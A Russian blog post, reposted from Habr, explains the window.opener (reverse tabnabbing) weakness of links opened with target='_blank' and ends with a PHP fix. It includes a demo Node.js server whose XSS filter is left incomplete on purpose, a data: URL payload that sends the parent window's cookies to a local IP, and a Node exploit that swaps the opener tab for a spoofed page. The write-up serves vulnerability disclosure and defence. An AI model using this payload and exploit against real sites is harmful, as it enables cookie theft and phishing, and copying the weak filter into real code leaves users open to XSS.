В этой статье вас ждет рассказ об одной особенности данного тега и способы решения проблемы.
Вступление
Всё это началось меньше года назад. Я заметил (узнал), что открытие гиперссылки в новом окне инициализирует JavaScript’овский window.opener.
Для справки: window.opener дает доступ к родительскому окну (к фрейму-родителю), т.е к окну, в котором вызвали window.open().
Разумеется, я сразу начал гуглить, но ничего вразумительного не нашел. Всё бы ничего, но если бы не одно «НО»:
Window.opener инициализируется, даже если домены и/или IP-адреса разные.
На днях разбираю почту и вижу, что получил сообщение от команды Яндекса:
Сообщение о баге, точнее о теоретическом применении атаки через window.opener( далее w.o), было оставлено мной около месяца назад, я уже и не надеялся на ответ.
Но мир – странная штука, не так ли? 🙂
Часть 1
От теории к делу!
Предположим, что мы имеем страницу, в которую можем встроить гиперссылку.
Напишем код, позволяющий воспроизвести нам данную уязвимость.
//Код №1 /*Автор кода просит прощения за все баги, связанные с ним. Код написан под node.js */ var http = require('http'); http.createServer(function (rq, rs) { var cookie="Super :"+Math.random(-1)*30/13+": Mario"; //при каждом новом запросе, значение куки будет разным rs.writeHead(200, {'Content-Type': 'text/html', 'Set-Cookie': cookie}); if(!require('url').parse(rq.url).query){ // проверим на наличие входных данных rs.end('<h2>ERROR!</h2><br>Example: http://127.0.0.1:8080/wo.bug?host=http://google.com/<br>Shutting down :)'); console.log('[DEBUG] URL: '+rq.url+' is not valid!'); // немножко дебага console.log('Achtung!'); process.kill(process.pid); //чтобы наверняка :) } var host=require('url').parse(rq.url, true).query.host, //парсим host=host.replace(/ /g,'%20'),//Решим проблему с обрезанием пробела host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''); //antiXSS console.log('URL: '+host); //Вывод ссылки в консоль rs.end('<center><br><a href='+host+' target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); //"безопасный" вывод }).listen(8080); //запустим сервер на 8080 порту
В данном коде специально пропущена фильтрация протокола data. Через специально сформированную ссылку, и по средствам w.o, мы сможем выполнить XSS атаку.
Для тестов я взял «большую тройку» браузеров: Opera/12.12, FireFox/18.00, Chrome/23.0.1271.97.
FireFox
Итак, передадим в атрибут href, тега a, значение «data:,1»:
После нажатия на гиперссылку видим, что w.o инициализирован:
А это значит, что, возможно, мы имеем возможность получить полный доступ к родительскому окну.
Остается только убедиться в этом.
Используя w.o, мы успешно получили доступ к кукам родительского окна, но вот почему document.cookie=window.opener.document.cookie я не знаю, честно. Замечу, что данная особенность характерна только для FF.
Проверил на VM с XP SP3 и FF 17, такая же картина:
Остается только написать exploit, который будет использовать тег «а», протокол data и w.o, для кражи кук(да и вообще чего угодно).
Payload:
var snif=new Image(), //инициализируем картинку ck=window.opener.document.cookie, //получаем куки из родительского окна concat = function() { return Array.prototype.slice.call(arguments).join("")};//объединяем строки без использования знака +, так как знак плюс при GET запросе равносилен пробелу, что приведет к ошибочному синтаксису JavaScript snif.src=concat('http://192.168.1.4:8081/?cok=',ck); //отсылаем куки (192.168.1.4-локальный IP виртуальной машины)
Передаем это в переменную host(используя протокол data, а именно: data:text/html, <script>Наш payload</script>
).Нажимаем на ссылку и любуемся куками:
А это окно, в которое внедрили наш код:
Как видите, мы успешно смогли украсть куки.
Opera
С браузером Opera почти так же, как и с FireFox. Так что шаги будут те же.
Проверим, инициализируется ли w.o:
Проверим, можем ли мы прочитать куки:
Видим, что мы успешно смогли прочитать куки из предыдущей вкладки(родительского окна).
Остается только эксплуатировать данную уязвимость. Код payload’а будем использовать такой же, как и для FF.
Передаем в переменную host наш exploit и опять любуемся куками:
Окно со ссылкой:
Итак, мы смогли успешно украсть куки. Довольно печальная ситуация, но ведь еще остался Google Chrome.
Chrome
Проверим наличие доступа к w.o:
W.o инициализирован, но Хром не дает нам получить доступ к данным окна-родителя:
Теперь самое время посмотреть на эту уязвимость под другим углом.
А что будет, если и протокол data фильтруется?
Добавим в наш код четвертую фильтрацию, фильтрацию протокола data.
Код примет вид:
/*…*/ host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''), //antiXSS host=host.replace(/data:/g,''); //Data не пройдет! /*…*/
Внеся эту поправку в код, мы больше не сможем провести XSS атаку, но ввести пользователя в заблуждение, переопределив w.o, мы способны.
Часть 2
Теперь передадим, в переменную host, ссылку на сайт evil.com.
FireFox
В FF 18 w.o успешно инициализируется, но мы не имеем возможности проникнуть в предыдущий фрейм(вкладку), так как домены различны и политика безопасности нам это не позволяет.
Opera
Ситуация с этим браузером аналогична ситуации с FireFox.
Chrome
В Хроме доступ к w.o имеется, но политика безопасности режет наши права до минимума.
Атакуем!
FireFox
Переопределение:
Opera
Переопределяем w.o:
Chrome
Переопределяем:
Пишем exploit
Ну а если есть уязвимость, то должен быть и exploit 🙂
var http = require('http'); if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)} http.createServer(function (rq, rs) { rs.writeHead(200, {'Content-Type': 'text/html'}); //всем добра, всем 200 if(!rq.headers.referer){ // если Referer отсутствует rs.end(''); console.log('Referer is undefined!'); process.exit(1); } var host=require('url').parse(rq.headers.referer).hostname; // Извлекаем домен из Referer'а var out="<html><script>"+ "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ //переопределяем страницу на поддельную "window.close()"+ //закрываем окно "</script></html>"; rs.end(out); //осуществляем подмену console.log('Window.opener changed!'); process.exit(1); }).listen(80) // Запускаемся на 80 порту
Этот простенький код позволяет нам подменить сайт во вкладке-родителе.
Оговорюсь, что перенаправление будет идти на адрес: site:port/referer.html. Где «referer» — значение вида site.*
Ввиду того, что снять скриншоты будет проблематично, я записал видео:
Защита
Хорошо, мы рассмотрели примеры нападения, но как же защититься?
Тут есть два способа решения: либо принудительно изменять значение атрибута target, тега а, на “_self”, либо танцевать с бубном, но открывать ссылку в новом окне.Угадайте, каким способом мы пойдем?
Фикс довольно прост: присвоение window.opener значения null.
Напишем простой php код, позволяющий переопределить w.o на null и выполнить переадресацию на указанный ресурс.
<?php $url=str_replace('data:','',$_GET['href']); //удалим "data:" $url=htmlspecialchars(str_replace('javascript:','',$url)); //защитимся от XSS if(!$url){die();}; echo "<html>"; echo "<body>"; echo "<script>"; echo "window.opener=null;"; //переопределяем w.o на null echo "document.location='".$url."';"; //выполняем перенаправление echo "</script>"; echo "</body>"; echo "</html>"; ?>
Нам остается только применить фикс в нашем коде(1).
Предположим, что наш php файл храниться по адресу: site.com/file.php
Тогда наш код(1) примет вид:
/**/ rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); /**/
А вот и результат нашего «шаманства»:
Да, это неудобный способ, но только такое решение проблемы я могу предложить на данный момент.
Если у вас есть идеи, то, пожалуйста, оставляйте их в своих комментариях.
Злоключение
Среди ресурсов, уязвимых к данной атаке, я могу выделить
Гугл:
Рамблер:
Список можно продолжать до бесконечности.
И конечно, данная информация представлена только для ознакомления.
Вы не имеете права использовать ее для атак, иначе вас покарает УК РФ!
Have a nice day!
ссылка на оригинал статьи http://habrahabr.ru/post/164539/
Добавить комментарий